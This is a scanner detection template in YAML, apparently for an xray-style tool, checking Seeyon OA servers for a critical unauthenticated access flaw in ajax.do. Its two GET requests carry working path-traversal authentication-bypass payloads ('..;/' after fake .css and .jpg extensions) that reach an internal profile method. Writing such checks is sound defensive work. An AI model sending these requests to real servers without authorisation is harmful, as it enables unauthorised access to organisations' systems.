seeyon-ajax-unauthorized-access: seeyon ajax 未经授权访问

id: seeyon-ajax-unauthorized-access

info:
  name: seeyon ajax 未经授权访问
  author: x1n9Qi8
  severity: critical
  description: seeyon ajax 未经授权访问
  reference:
    - https://mp.weixin.qq.com/s/bHKDSF7HWsAgQi9rTagBQA
    - https://buaq.net/go-53721.html

rules:
    r0:
        request:
            method: GET
            path: /seeyon/thirdpartyController.do.css/..;/ajax.do
        expression: response.status == 200 && response.body.bcontains(bytes("java.lang.NullPointerException:null"))
    r1:
        request:
            method: GET
            path: /seeyon/personalBind.do.jpg/..;/ajax.do?method=ajaxAction&managerName=mMOneProfileManager&managerMethod=getOAProfile
        expression: response.status == 200 && response.body.bcontains(bytes("MMOneProfile")) && response.body.bcontains(bytes("productTags")) && response.body.bcontains(bytes("serverIdentifier")) && response.content_type.contains("application/json")
expression: r0() && r1()